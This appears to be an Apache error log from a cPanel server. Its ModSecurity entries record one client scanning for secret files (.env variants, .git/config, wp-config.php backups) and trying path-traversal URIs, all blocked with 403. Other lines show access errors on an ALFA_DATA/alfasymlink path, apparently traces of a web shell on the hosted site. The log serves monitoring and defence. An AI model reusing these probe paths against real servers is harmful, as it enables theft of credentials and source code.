[Sun Oct 25 20:14:23.899082 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.138.12.51:53230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/storage/logs/laravel.log"] [unique_id "at6bXzmmX3asvCDITlDv9QAAAAA"]
[Sun Oct 25 20:14:23.899322 2026] [security2:error] [pid 2927273:tid 2927273] [client 45.138.12.51:53230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/storage/logs/laravel.log"] [unique_id "at6bXzmmX3asvCDITlDv9QAAAAA"]
[Sun Oct 25 20:14:24.468278 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:53246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at6bYF7WMIdeUbvmuUTDyQAAAAE"]
[Sun Oct 25 20:14:24.468500 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:53246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at6bYF7WMIdeUbvmuUTDyQAAAAE"]
[Sun Oct 25 20:14:24.468743 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:53246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.bak"] [unique_id "at6bYF7WMIdeUbvmuUTDyQAAAAE"]
[Sun Oct 25 20:14:24.757622 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53254] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /dev/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/dev/.git/config"] [unique_id "at6bYJYUijJJJpUKZ5VYXQAAAAI"]
[Sun Oct 25 20:14:24.757827 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/dev/.git/config"] [unique_id "at6bYJYUijJJJpUKZ5VYXQAAAAI"]
[Sun Oct 25 20:14:24.758082 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/dev/.git/config"] [unique_id "at6bYJYUijJJJpUKZ5VYXQAAAAI"]
[Sun Oct 25 20:14:25.050613 2026] [security2:error] [pid 2922333:tid 2922333] [client 45.138.12.51:53256] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at6bYSC9gidsUAz5qdCHHAAAAC8"]
[Sun Oct 25 20:14:25.050857 2026] [security2:error] [pid 2922333:tid 2922333] [client 45.138.12.51:53256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at6bYSC9gidsUAz5qdCHHAAAAC8"]
[Sun Oct 25 20:14:25.051143 2026] [security2:error] [pid 2922333:tid 2922333] [client 45.138.12.51:53256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at6bYSC9gidsUAz5qdCHHAAAAC8"]
[Sun Oct 25 20:14:25.340745 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53260] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/prod/.env"] [unique_id "at6bYUZ49PyiKUODFuf2gQAAABI"]
[Sun Oct 25 20:14:25.340945 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53260] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/prod/.env"] [unique_id "at6bYUZ49PyiKUODFuf2gQAAABI"]
[Sun Oct 25 20:14:25.341196 2026] [security2:error] [pid 2922285:tid 2922285] [client 45.138.12.51:53260] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/prod/.env"] [unique_id "at6bYUZ49PyiKUODFuf2gQAAABI"]
[Sun Oct 25 20:14:25.629707 2026] [security2:error] [pid 2926322:tid 2926322] [client 45.138.12.51:53272] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/cms/.git/config"] [unique_id "at6bYdFkJAT_B5m2Ey9vqAAAAAM"]
[Sun Oct 25 20:14:25.629946 2026] [security2:error] [pid 2926322:tid 2926322] [client 45.138.12.51:53272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/cms/.git/config"] [unique_id "at6bYdFkJAT_B5m2Ey9vqAAAAAM"]
[Sun Oct 25 20:14:25.630182 2026] [security2:error] [pid 2926322:tid 2926322] [client 45.138.12.51:53272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/cms/.git/config"] [unique_id "at6bYdFkJAT_B5m2Ey9vqAAAAAM"]
[Sun Oct 25 20:14:25.918433 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53278] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/media../.git/config"] [unique_id "at6bYSML9QMr9_Qxg78JswAAABM"]
[Sun Oct 25 20:14:25.918488 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53278] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /media../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/media../.git/config"] [unique_id "at6bYSML9QMr9_Qxg78JswAAABM"]
[Sun Oct 25 20:14:25.918549 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53278] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/media../.git/config"] [unique_id "at6bYSML9QMr9_Qxg78JswAAABM"]
[Sun Oct 25 20:14:25.918735 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53278] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/media../.git/config"] [unique_id "at6bYSML9QMr9_Qxg78JswAAABM"]
[Sun Oct 25 20:14:25.918993 2026] [security2:error] [pid 2922286:tid 2922286] [client 45.138.12.51:53278] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/media../.git/config"] [unique_id "at6bYSML9QMr9_Qxg78JswAAABM"]
[Sun Oct 25 20:14:26.210019 2026] [security2:error] [pid 2913030:tid 2913030] [client 45.138.12.51:53288] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/wp-config.php.old"] [unique_id "at6bYtACfKmH39GTPJ9jtwAAAAg"]
[Sun Oct 25 20:14:26.210214 2026] [security2:error] [pid 2913030:tid 2913030] [client 45.138.12.51:53288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/wp-config.php.old"] [unique_id "at6bYtACfKmH39GTPJ9jtwAAAAg"]
[Sun Oct 25 20:14:26.210453 2026] [security2:error] [pid 2913030:tid 2913030] [client 45.138.12.51:53288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/wp-config.php.old"] [unique_id "at6bYtACfKmH39GTPJ9jtwAAAAg"]
[Sun Oct 25 20:14:26.517193 2026] [security2:error] [pid 2922868:tid 2922868] [client 45.138.12.51:53292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dev.local"] [unique_id "at6bYmICTqSqeaZzEzUoYAAAABw"]
[Sun Oct 25 20:14:26.517412 2026] [security2:error] [pid 2922868:tid 2922868] [client 45.138.12.51:53292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dev.local"] [unique_id "at6bYmICTqSqeaZzEzUoYAAAABw"]
[Sun Oct 25 20:14:26.517707 2026] [security2:error] [pid 2922868:tid 2922868] [client 45.138.12.51:53292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dev.local"] [unique_id "at6bYmICTqSqeaZzEzUoYAAAABw"]
[Sun Oct 25 20:14:26.822856 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:53296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /configuration/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/configuration/.env"] [unique_id "at6bYl7WMIdeUbvmuUTDygAAAAE"]
[Sun Oct 25 20:14:26.823092 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:53296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/configuration/.env"] [unique_id "at6bYl7WMIdeUbvmuUTDygAAAAE"]
[Sun Oct 25 20:14:26.823365 2026] [security2:error] [pid 2923082:tid 2923082] [client 45.138.12.51:53296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/configuration/.env"] [unique_id "at6bYl7WMIdeUbvmuUTDygAAAAE"]
[Sun Oct 25 20:14:27.128179 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53302] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at6bY5YUijJJJpUKZ5VYXgAAAAI"]
[Sun Oct 25 20:14:27.128246 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53302] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /assets../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at6bY5YUijJJJpUKZ5VYXgAAAAI"]
[Sun Oct 25 20:14:27.128315 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53302] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at6bY5YUijJJJpUKZ5VYXgAAAAI"]
[Sun Oct 25 20:14:27.128513 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53302] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at6bY5YUijJJJpUKZ5VYXgAAAAI"]
[Sun Oct 25 20:14:27.128780 2026] [security2:error] [pid 2926850:tid 2926850] [client 45.138.12.51:53302] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/assets../.git/config"] [unique_id "at6bY5YUijJJJpUKZ5VYXgAAAAI"]
[Sun Oct 25 20:14:30.137538 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 54.145.82.217:9267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/resource4
[Sun Oct 25 20:14:34.142539 2026] [ssl:error] [pid 2927273:tid 2927273] (70014)End of file found: [client 3.216.86.144:58268] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:14:36.552917 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6bX6MybP9Ij19IhRsB8wAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 20:14:36.552966 2026] [security2:error] [pid 2925075:tid 2925075] [client 107.172.76.131:49502] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6bX6MybP9Ij19IhRsB8wAAAAs"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 20:14:50.218719 2026] [ssl:error] [pid 2922286:tid 2922286] (70014)End of file found: [client 184.73.68.20:8516] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 20:14:54.027686 2026] [core:error] [pid 2922868:tid 2922868] (13)Permission denied: [client 64.92.9.110:51215] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/alloc_calls
[Sun Oct 25 20:14:55.252006 2026] [core:error] [pid 2926322:tid 2926322] (13)Permission denied: [client 173.76.177.177:34740] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/alloc_calls
[Sun Oct 25 20:14:56.745110 2026] [core:error] [pid 2922286:tid 2922286] (13)Permission denied: [client 190.142.62.199:47654] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/hwcache_align
[Sun Oct 25 20:14:57.289840 2026] [core:error] [pid 2926881:tid 2926881] (13)Permission denied: [client 216.169.137.242:52445] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/alloc_calls
[Sun Oct 25 20:14:58.287133 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 3.232.82.72:32023] AH02013: coalesce failed to read from data bucket
